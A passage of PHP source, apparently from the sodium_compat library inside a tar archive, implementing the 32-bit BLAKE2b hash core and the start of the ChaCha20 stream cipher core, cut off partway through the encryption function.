        array(  9,  0,  5,  7,  2,  4, 10, 15, 14,  1, 11, 12,  6,  8,  3, 13),
        array(  2, 12,  6, 10,  0, 11,  8,  3,  4, 13,  7,  5, 15, 14,  1,  9),
        array( 12,  5,  1, 15, 14, 13,  4, 10,  0,  7,  6,  3,  9,  2,  8, 11),
        array( 13, 11,  7, 14, 12,  1,  3,  9,  5,  0, 15,  4,  8,  6,  2, 10),
        array(  6, 15, 14,  9, 11,  3,  0,  8, 12,  2, 13,  7,  1,  4, 10,  5),
        array( 10,  2,  8,  4,  7,  6,  1,  5, 15, 11,  9, 14,  3, 12, 13 , 0),
        array(  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15),
        array( 14, 10,  4,  8,  9, 15, 13,  6,  1, 12,  0,  2, 11,  7,  5,  3)
    );

    const BLOCKBYTES = 128;
    const OUTBYTES   = 64;
    const KEYBYTES   = 64;

    /**
     * Turn two 32-bit integers into a fixed array representing a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $high
     * @param int $low
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public static function new64($high, $low)
    {
        return ParagonIE_Sodium_Core32_Int64::fromInts($low, $high);
    }

    /**
     * Convert an arbitrary number into an SplFixedArray of two 32-bit integers
     * that represents a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $num
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function to64($num)
    {
        list($hi, $lo) = self::numericTo64BitInteger($num);
        return self::new64($hi, $lo);
    }

    /**
     * Adds two 64-bit integers together, returning their sum as a SplFixedArray
     * containing two 32-bit integers (representing a 64-bit integer).
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int64 $x
     * @param ParagonIE_Sodium_Core32_Int64 $y
     * @return ParagonIE_Sodium_Core32_Int64
     */
    protected static function add64($x, $y)
    {
        return $x->addInt64($y);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int64 $x
     * @param ParagonIE_Sodium_Core32_Int64 $y
     * @param ParagonIE_Sodium_Core32_Int64 $z
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public static function add364($x, $y, $z)
    {
        return $x->addInt64($y)->addInt64($z);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int64 $x
     * @param ParagonIE_Sodium_Core32_Int64 $y
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws TypeError
     */
    public static function xor64(ParagonIE_Sodium_Core32_Int64 $x, ParagonIE_Sodium_Core32_Int64 $y)
    {
        return $x->xorInt64($y);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int64 $x
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public static function rotr64(ParagonIE_Sodium_Core32_Int64 $x, $c)
    {
        return $x->rotateRight($c);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $i
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public static function load64($x, $i)
    {
        /** @var int $l */
        $l = (int) ($x[$i])
             | ((int) ($x[$i+1]) << 8)
             | ((int) ($x[$i+2]) << 16)
             | ((int) ($x[$i+3]) << 24);
        /** @var int $h */
        $h = (int) ($x[$i+4])
             | ((int) ($x[$i+5]) << 8)
             | ((int) ($x[$i+6]) << 16)
             | ((int) ($x[$i+7]) << 24);
        return self::new64($h, $l);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $i
     * @param ParagonIE_Sodium_Core32_Int64 $u
     * @return void
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     */
    public static function store64(SplFixedArray $x, $i, ParagonIE_Sodium_Core32_Int64 $u)
    {
        $v = clone $u;
        $maxLength = $x->getSize() - 1;
        for ($j = 0; $j < 8; ++$j) {
            $k = 3 - ($j >> 1);
            $x[$i] = $v->limbs[$k] & 0xff;
            if (++$i > $maxLength) {
                return;
            }
            $v->limbs[$k] >>= 8;
        }
    }

    /**
     * This just sets the $iv static variable.
     *
     * @internal You should not use this directly from another application
     *
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    public static function pseudoConstructor()
    {
        static $called = false;
        if ($called) {
            return;
        }
        self::$iv = new SplFixedArray(8);
        self::$iv[0] = self::new64(0x6a09e667, 0xf3bcc908);
        self::$iv[1] = self::new64(0xbb67ae85, 0x84caa73b);
        self::$iv[2] = self::new64(0x3c6ef372, 0xfe94f82b);
        self::$iv[3] = self::new64(0xa54ff53a, 0x5f1d36f1);
        self::$iv[4] = self::new64(0x510e527f, 0xade682d1);
        self::$iv[5] = self::new64(0x9b05688c, 0x2b3e6c1f);
        self::$iv[6] = self::new64(0x1f83d9ab, 0xfb41bd6b);
        self::$iv[7] = self::new64(0x5be0cd19, 0x137e2179);

        $called = true;
    }

    /**
     * Returns a fresh BLAKE2 context.
     *
     * @internal You should not use this directly from another application
     *
     * @return SplFixedArray
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function context()
    {
        $ctx    = new SplFixedArray(6);
        $ctx[0] = new SplFixedArray(8);   // h
        $ctx[1] = new SplFixedArray(2);   // t
        $ctx[2] = new SplFixedArray(2);   // f
        $ctx[3] = new SplFixedArray(256); // buf
        $ctx[4] = 0;                      // buflen
        $ctx[5] = 0;                      // last_node (uint8_t)

        for ($i = 8; $i--;) {
            $ctx[0][$i] = self::$iv[$i];
        }
        for ($i = 256; $i--;) {
            $ctx[3][$i] = 0;
        }

        $zero = self::new64(0, 0);
        $ctx[1][0] = $zero;
        $ctx[1][1] = $zero;
        $ctx[2][0] = $zero;
        $ctx[2][1] = $zero;

        return $ctx;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $buf
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedAssignment
     */
    protected static function compress(SplFixedArray $ctx, SplFixedArray $buf)
    {
        $m = new SplFixedArray(16);
        $v = new SplFixedArray(16);

        for ($i = 16; $i--;) {
            $m[$i] = self::load64($buf, $i << 3);
        }

        for ($i = 8; $i--;) {
            $v[$i] = $ctx[0][$i];
        }

        $v[ 8] = self::$iv[0];
        $v[ 9] = self::$iv[1];
        $v[10] = self::$iv[2];
        $v[11] = self::$iv[3];

        $v[12] = self::xor64($ctx[1][0], self::$iv[4]);
        $v[13] = self::xor64($ctx[1][1], self::$iv[5]);
        $v[14] = self::xor64($ctx[2][0], self::$iv[6]);
        $v[15] = self::xor64($ctx[2][1], self::$iv[7]);

        for ($r = 0; $r < 12; ++$r) {
            $v = self::G($r, 0, 0, 4, 8, 12, $v, $m);
            $v = self::G($r, 1, 1, 5, 9, 13, $v, $m);
            $v = self::G($r, 2, 2, 6, 10, 14, $v, $m);
            $v = self::G($r, 3, 3, 7, 11, 15, $v, $m);
            $v = self::G($r, 4, 0, 5, 10, 15, $v, $m);
            $v = self::G($r, 5, 1, 6, 11, 12, $v, $m);
            $v = self::G($r, 6, 2, 7, 8, 13, $v, $m);
            $v = self::G($r, 7, 3, 4, 9, 14, $v, $m);
        }

        for ($i = 8; $i--;) {
            $ctx[0][$i] = self::xor64(
                $ctx[0][$i], self::xor64($v[$i], $v[$i+8])
            );
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $r
     * @param int $i
     * @param int $a
     * @param int $b
     * @param int $c
     * @param int $d
     * @param SplFixedArray $v
     * @param SplFixedArray $m
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayOffset
     */
    public static function G($r, $i, $a, $b, $c, $d, SplFixedArray $v, SplFixedArray $m)
    {
        $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][$i << 1]]);
        $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 32);
        $v[$c] = self::add64($v[$c], $v[$d]);
        $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 24);
        $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][($i << 1) + 1]]);
        $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 16);
        $v[$c] = self::add64($v[$c], $v[$d]);
        $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 63);
        return $v;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param int $inc
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     */
    public static function increment_counter($ctx, $inc)
    {
        if ($inc < 0) {
            throw new SodiumException('Increasing by a negative number makes no sense.');
        }
        $t = self::to64($inc);
        # S->t is $ctx[1] in our implementation

        # S->t[0] = ( uint64_t )( t >> 0 );
        $ctx[1][0] = self::add64($ctx[1][0], $t);

        # S->t[1] += ( S->t[0] < inc );
        if (!($ctx[1][0] instanceof ParagonIE_Sodium_Core32_Int64)) {
            throw new TypeError('Not an int64');
        }
        /** @var ParagonIE_Sodium_Core32_Int64 $c*/
        $c = $ctx[1][0];
        if ($c->isLessThanInt($inc)) {
            $ctx[1][1] = self::add64($ctx[1][1], self::to64(1));
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $p
     * @param int $plen
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedMethodCall
     * @psalm-suppress MixedOperand
     */
    public static function update(SplFixedArray $ctx, SplFixedArray $p, $plen)
    {
        self::pseudoConstructor();

        $offset = 0;
        while ($plen > 0) {
            $left = $ctx[4];
            $fill = 256 - $left;

            if ($plen > $fill) {
                # memcpy( S->buf + left, in, fill ); /* Fill buffer */
                for ($i = $fill; $i--;) {
                    $ctx[3][$i + $left] = $p[$i + $offset];
                }

                # S->buflen += fill;
                $ctx[4] += $fill;

                # blake2b_increment_counter( S, BLAKE2B_BLOCKBYTES );
                self::increment_counter($ctx, 128);

                # blake2b_compress( S, S->buf ); /* Compress */
                self::compress($ctx, $ctx[3]);

                # memcpy( S->buf, S->buf + BLAKE2B_BLOCKBYTES, BLAKE2B_BLOCKBYTES ); /* Shift buffer left */
                for ($i = 128; $i--;) {
                    $ctx[3][$i] = $ctx[3][$i + 128];
                }

                # S->buflen -= BLAKE2B_BLOCKBYTES;
                $ctx[4] -= 128;

                # in += fill;
                $offset += $fill;

                # inlen -= fill;
                $plen -= $fill;
            } else {
                for ($i = $plen; $i--;) {
                    $ctx[3][$i + $left] = $p[$i + $offset];
                }
                $ctx[4] += $plen;
                $offset += $plen;
                $plen -= $plen;
            }
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $out
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedMethodCall
     * @psalm-suppress MixedOperand
     */
    public static function finish(SplFixedArray $ctx, SplFixedArray $out)
    {
        self::pseudoConstructor();
        if ($ctx[4] > 128) {
            self::increment_counter($ctx, 128);
            self::compress($ctx, $ctx[3]);
            $ctx[4] -= 128;
            if ($ctx[4] > 128) {
                throw new SodiumException('Failed to assert that buflen <= 128 bytes');
            }
            for ($i = $ctx[4]; $i--;) {
                $ctx[3][$i] = $ctx[3][$i + 128];
            }
        }

        self::increment_counter($ctx, $ctx[4]);
        $ctx[2][0] = self::new64(0xffffffff, 0xffffffff);

        for ($i = 256 - $ctx[4]; $i--;) {
            /** @var int $i */
            $ctx[3][$i + $ctx[4]] = 0;
        }

        self::compress($ctx, $ctx[3]);

        $i = (int) (($out->getSize() - 1) / 8);
        for (; $i >= 0; --$i) {
            self::store64($out, $i << 3, $ctx[0][$i]);
        }
        return $out;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray|null $key
     * @param int $outlen
     * @param SplFixedArray|null $salt
     * @param SplFixedArray|null $personal
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function init(
        $key = null,
        $outlen = 64,
        $salt = null,
        $personal = null
    ) {
        self::pseudoConstructor();
        $klen = 0;

        if ($key !== null) {
            if (count($key) > 64) {
                throw new SodiumException('Invalid key size');
            }
            $klen = count($key);
        }

        if ($outlen > 64) {
            throw new SodiumException('Invalid output size');
        }

        $ctx = self::context();

        $p = new SplFixedArray(64);
        // Zero our param buffer...
        for ($i = 64; --$i;) {
            $p[$i] = 0;
        }

        $p[0] = $outlen; // digest_length
        $p[1] = $klen;   // key_length
        $p[2] = 1;       // fanout
        $p[3] = 1;       // depth

        if ($salt instanceof SplFixedArray) {
            // salt: [32] through [47]
            for ($i = 0; $i < 16; ++$i) {
                $p[32 + $i] = (int) $salt[$i];
            }
        }
        if ($personal instanceof SplFixedArray) {
            // personal: [48] through [63]
            for ($i = 0; $i < 16; ++$i) {
                $p[48 + $i] = (int) $personal[$i];
            }
        }

        $ctx[0][0] = self::xor64(
            $ctx[0][0],
            self::load64($p, 0)
        );

        if ($salt instanceof SplFixedArray || $personal instanceof SplFixedArray) {
            // We need to do what blake2b_init_param() does:
            for ($i = 1; $i < 8; ++$i) {
                $ctx[0][$i] = self::xor64(
                    $ctx[0][$i],
                    self::load64($p, $i << 3)
                );
            }
        }

        if ($klen > 0 && $key instanceof SplFixedArray) {
            $block = new SplFixedArray(128);
            for ($i = 128; $i--;) {
                $block[$i] = 0;
            }
            for ($i = $klen; $i--;) {
                $block[$i] = $key[$i];
            }
            self::update($ctx, $block, 128);
            $ctx[4] = 128;
        }

        return $ctx;
    }

    /**
     * Convert a string into an SplFixedArray of integers
     *
     * @internal You should not use this directly from another application
     *
     * @param string $str
     * @return SplFixedArray
     * @psalm-suppress MixedArgumentTypeCoercion
     */
    public static function stringToSplFixedArray($str = '')
    {
        $values = unpack('C*', $str);
        return SplFixedArray::fromArray(array_values($values));
    }

    /**
     * Convert an SplFixedArray of integers into a string
     *
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $a
     * @return string
     */
    public static function SplFixedArrayToString(SplFixedArray $a)
    {
        /**
         * @var array<int, string|int>
         */
        $arr = $a->toArray();
        $c = $a->count();
        array_unshift($arr, str_repeat('C', $c));
        return (string) (call_user_func_array('pack', $arr));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @return string
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function contextToString(SplFixedArray $ctx)
    {
        $str = '';
        /** @var array<int, ParagonIE_Sodium_Core32_Int64> $ctxA */
        $ctxA = $ctx[0]->toArray();

        # uint64_t h[8];
        for ($i = 0; $i < 8; ++$i) {
            if (!($ctxA[$i] instanceof ParagonIE_Sodium_Core32_Int64)) {
                throw new TypeError('Not an instance of Int64');
            }
            /** @var ParagonIE_Sodium_Core32_Int64 $ctxAi */
            $ctxAi = $ctxA[$i];
            $str .= $ctxAi->toReverseString();
        }

        # uint64_t t[2];
        # uint64_t f[2];
        for ($i = 1; $i < 3; ++$i) {
            /** @var array<int, ParagonIE_Sodium_Core32_Int64> $ctxA */
            $ctxA = $ctx[$i]->toArray();
            /** @var ParagonIE_Sodium_Core32_Int64 $ctxA1 */
            $ctxA1 = $ctxA[0];
            /** @var ParagonIE_Sodium_Core32_Int64 $ctxA2 */
            $ctxA2 = $ctxA[1];

            $str .= $ctxA1->toReverseString();
            $str .= $ctxA2->toReverseString();
        }

        # uint8_t buf[2 * 128];
        $str .= self::SplFixedArrayToString($ctx[3]);

        /** @var int $ctx4 */
        $ctx4 = $ctx[4];

        # size_t buflen;
        $str .= implode('', array(
            self::intToChr($ctx4 & 0xff),
            self::intToChr(($ctx4 >> 8) & 0xff),
            self::intToChr(($ctx4 >> 16) & 0xff),
            self::intToChr(($ctx4 >> 24) & 0xff),
            "\x00\x00\x00\x00"
            /*
            self::intToChr(($ctx4 >> 32) & 0xff),
            self::intToChr(($ctx4 >> 40) & 0xff),
            self::intToChr(($ctx4 >> 48) & 0xff),
            self::intToChr(($ctx4 >> 56) & 0xff)
            */
        ));
        # uint8_t last_node;
        return $str . self::intToChr($ctx[5]) . str_repeat("\x00", 23);
    }

    /**
     * Creates an SplFixedArray containing other SplFixedArray elements, from
     * a string (compatible with \Sodium\crypto_generichash_{init, update, final})
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     */
    public static function stringToContext($string)
    {
        $ctx = self::context();

        # uint64_t h[8];
        for ($i = 0; $i < 8; ++$i) {
            $ctx[0][$i] = ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($string, (($i << 3) + 0), 8)
            );
        }

        # uint64_t t[2];
        # uint64_t f[2];
        for ($i = 1; $i < 3; ++$i) {
            $ctx[$i][1] = ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($string, 72 + (($i - 1) << 4), 8)
            );
            $ctx[$i][0] = ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($string, 64 + (($i - 1) << 4), 8)
            );
        }

        # uint8_t buf[2 * 128];
        $ctx[3] = self::stringToSplFixedArray(self::substr($string, 96, 256));

        # uint8_t buf[2 * 128];
        $int = 0;
        for ($i = 0; $i < 8; ++$i) {
            $int |= self::chrToInt($string[352 + $i]) << ($i << 3);
        }
        $ctx[4] = $int;

        return $ctx;
    }
}
Core32/ChaCha20.php000064400000034257152222652550007604 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_ChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_ChaCha20
 */
class ParagonIE_Sodium_Core32_ChaCha20 extends ParagonIE_Sodium_Core32_Util
{
    /**
     * The ChaCha20 quarter round function. Works on four 32-bit integers.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int32 $a
     * @param ParagonIE_Sodium_Core32_Int32 $b
     * @param ParagonIE_Sodium_Core32_Int32 $c
     * @param ParagonIE_Sodium_Core32_Int32 $d
     * @return array<int, ParagonIE_Sodium_Core32_Int32>
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function quarterRound(
        ParagonIE_Sodium_Core32_Int32 $a,
        ParagonIE_Sodium_Core32_Int32 $b,
        ParagonIE_Sodium_Core32_Int32 $c,
        ParagonIE_Sodium_Core32_Int32 $d
    ) {
        /** @var ParagonIE_Sodium_Core32_Int32 $a */
        /** @var ParagonIE_Sodium_Core32_Int32 $b */
        /** @var ParagonIE_Sodium_Core32_Int32 $c */
        /** @var ParagonIE_Sodium_Core32_Int32 $d */

        # a = PLUS(a,b); d = ROTATE(XOR(d,a),16);
        $a = $a->addInt32($b);
        $d = $d->xorInt32($a)->rotateLeft(16);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c),12);
        $c = $c->addInt32($d);
        $b = $b->xorInt32($c)->rotateLeft(12);

        # a = PLUS(a,b); d = ROTATE(XOR(d,a), 8);
        $a = $a->addInt32($b);
        $d = $d->xorInt32($a)->rotateLeft(8);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c), 7);
        $c = $c->addInt32($d);
        $b = $b->xorInt32($c)->rotateLeft(7);

        return array($a, $b, $c, $d);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_ChaCha20_Ctx $ctx
     * @param string $message
     *
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function encryptBytes(
        ParagonIE_Sodium_Core32_ChaCha20_Ctx $ctx,
        $message = ''
    ) {
        $bytes = self::strlen($message);

        /** @var ParagonIE_Sodium_Core32_Int32 $x0 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x1 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x2 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x3 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x4 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x5 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x6 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x7 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x8 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x9 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x10 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x11 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x12 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x13 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x14 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x15 */

        /*
        j0 = ctx->input[0];
        j1 = ctx->input[1];
        j2 = ctx->input[2];
        j3 = ctx->input[3];
        j4 = ctx->input[4];
        j5 = ctx->input[5];
        j6 = ctx->input[6];
        j7 = ctx->input[7];
        j8 = ctx->input[8];
        j9 = ctx->input[9];
        j10 = ctx->input[10];
        j11 = ctx->input[11];
        j12 = ctx->input[12];
        j13 = ctx->input[13];
        j14 = ctx->input[14];
        j15 = ctx->input[15];
        */
        /** @var ParagonIE_Sodium_Core32_Int32 $j0 */
        $j0  = $ctx[0];
        /** @var ParagonIE_Sodium_Core32_Int32 $j1 */
        $j1  = $ctx[1];
        /** @var ParagonIE_Sodium_Core32_Int32 $j2 */
        $j2  = $ctx[2];
        /** @var ParagonIE_Sodium_Core32_Int32 $j3 */
        $j3  = $ctx[3];
        /** @var ParagonIE_Sodium_Core32_Int32 $j4 */
        $j4  = $ctx[4];
        /** @var ParagonIE_Sodium_Core32_Int32 $j5 */
        $j5  = $ctx[5];
        /** @var ParagonIE_Sodium_Core32_Int32 $j6 */
        $j6  = $ctx[6];
        /** @var ParagonIE_Sodium_Core32_Int32 $j7 */
        $j7  = $ctx[7];
        /** @var ParagonIE_Sodium_Core32_Int32 $j8 */
        $j8  = $ctx[8];
        /** @var ParagonIE_Sodium_Core32_Int32 $j9 */
        $j9  = $ctx[9];
        /** @var ParagonIE_Sodium_Core32_Int32 $j10 */
        $j10 = $ctx[10];
        /** @var ParagonIE_Sodium_Core32_Int32 $j11 */
        $j11 = $ctx[11];
        /** @var ParagonIE_Sodium_Core32_Int32 $j12 */
        $j12 = $ctx[12];
        /** @var ParagonIE_Sodium_Core32_Int32 $j13 */
        $j13 = $ctx[13];
        /** @var ParagonIE_Sodium_Core32_Int32 $j14 */
        $j14 = $ctx[14];
        /** @var ParagonIE_Sodium_Core32_Int32 $j15 */
        $j15 = $ctx[15];

        $c = '';
        for (;;) {
            if ($bytes < 64) {
                $message .= str_repeat("\x00", 64 - $bytes);
            }

            $x0 =  clone $j0;
            $x1 =  clone $j1;
            $x2 =  clone $j2;
            $x3 =  clone $j3;
            $x4 =  clone $j4;
            $x5 =  clone $j5;
            $x6 =  clone $j6;
            $x7 =  clone $j7;
            $x8 =  clone $j8;
            $x9 =  clone $j9;
            $x10 = clone $j10;
            $x11 = clone $j11;
            $x12 = clone $j12;
            $x13 = clone $j13;
            $x14 = clone $j14;
            $x15 = clone $j15;

            # for (i = 20; i > 0; i -= 2) {
            for ($i = 20; $i > 0; $i -= 2) {
                # QUARTERROUND( x0,  x4,  x8,  x12)
                list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12);

                # QUARTERROUND( x1,  x5,  x9,  x13)
                list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13);

                # QUARTERROUND( x2,  x6,  x10,  x14)
                list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14);

                # QUARTERROUND( x3,  x7,  x11,  x15)
                list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15);

                # QUARTERROUND( x0,  x5,  x10,  x15)
                list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15);

                # QUARTERROUND( x1,  x6,  x11,  x12)
                list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11, $x12);

                # QUARTERROUND( x2,  x7,  x8,  x13)
                list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13);

                # QUARTERROUND( x3,  x4,  x9,  x14)
                list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14);
            }
            /*
            x0 = PLUS(x0, j0);
            x1 = PLUS(x1, j1);
            x2 = PLUS(x2, j2);
            x3 = PLUS(x3, j3);
            x4 = PLUS(x4, j4);
            x5 = PLUS(x5, j5);
            x6 = PLUS(x6, j6);
            x7 = PLUS(x7, j7);
            x8 = PLUS(x8, j8);
            x9 = PLUS(x9, j9);
            x10 = PLUS(x10, j10);
            x11 = PLUS(x11, j11);
            x12 = PLUS(x12, j12);
            x13 = PLUS(x13, j13);
            x14 = PLUS(x14, j14);
            x15 = PLUS(x15, j15);
            */
            $x0 = $x0->addInt32($j0);
            $x1 = $x1->addInt32($j1);
            $x2 = $x2->addInt32($j2);
            $x3 = $x3->addInt32($j3);
            $x4 = $x4->addInt32($j4);
            $x5 = $x5->addInt32($j5);
            $x6 = $x6->addInt32($j6);
            $x7 = $x7->addInt32($j7);
            $x8 = $x8->addInt32($j8);
            $x9 = $x9->addInt32($j9);
            $x10 = $x10->addInt32($j10);
            $x11 = $x11->addInt32($j11);
            $x12 = $x12->addInt32($j12);
            $x13 = $x13->addInt32($j13);
            $x14 = $x14->addInt32($j14);
            $x15 = $x15->addInt32($j15);

            /*
            x0 = XOR(x0, LOAD32_LE(m + 0));
            x1 = XOR(x1, LOAD32_LE(m + 4));
            x2 = XOR(x2, LOAD32_LE(m + 8));
            x3 = XOR(x3, LOAD32_LE(m + 12));
            x4 = XOR(x4, LOAD32_LE(m + 16));
            x5 = XOR(x5, LOAD32_LE(m + 20));
            x6 = XOR(x6, LOAD32_LE(m + 24));
            x7 = XOR(x7, LOAD32_LE(m + 28));
            x8 = XOR(x8, LOAD32_LE(m + 32));
            x9 = XOR(x9, LOAD32_LE(m + 36));
            x10 = XOR(x10, LOAD32_LE(m + 40));
            x11 = XOR(x11, LOAD32_LE(m + 44));
            x12 = XOR(x12, LOAD32_LE(m + 48));
            x13 = XOR(x13, LOAD32_LE(m + 52));
            x14 = XOR(x14, LOAD32_LE(m + 56));
            x15 = XOR(x15, LOAD32_LE(m + 60));
            */
            $x0  =  $x0->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,  0, 4)));
            $x1  =  $x1->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,  4, 4)));
            $x2  =  $x2->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,  8, 4)));
            $x3  =  $x3->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 12, 4)));
            $x4  =  $x4->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 16, 4)));
            $x5  =  $x5->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 20, 4)));
            $x6  =  $x6->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 24, 4)));
            $x7  =  $x7->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 28, 4)));
            $x8  =  $x8->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 32, 4)));
            $x9  =  $x9->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 36, 4)));
            $x10 = $x10->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 40, 4)));
            $x11 = $x11->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 44, 4)));
            $x12 = $x12->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 48, 4)));
            $x13 = $x13->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 52, 4)));
            $x14 = $x14->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 56, 4)));
            $x15 = $x15->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 60, 4)));

            /*
                j12 = PLUSONE(j12);
                if (!j12) {
                    j13 = PLUSONE(j13);
                }
             */
            /** @var ParagonIE_Sodium_Core32_Int32 $j12 */
            $j12 = $j12->addInt(1);
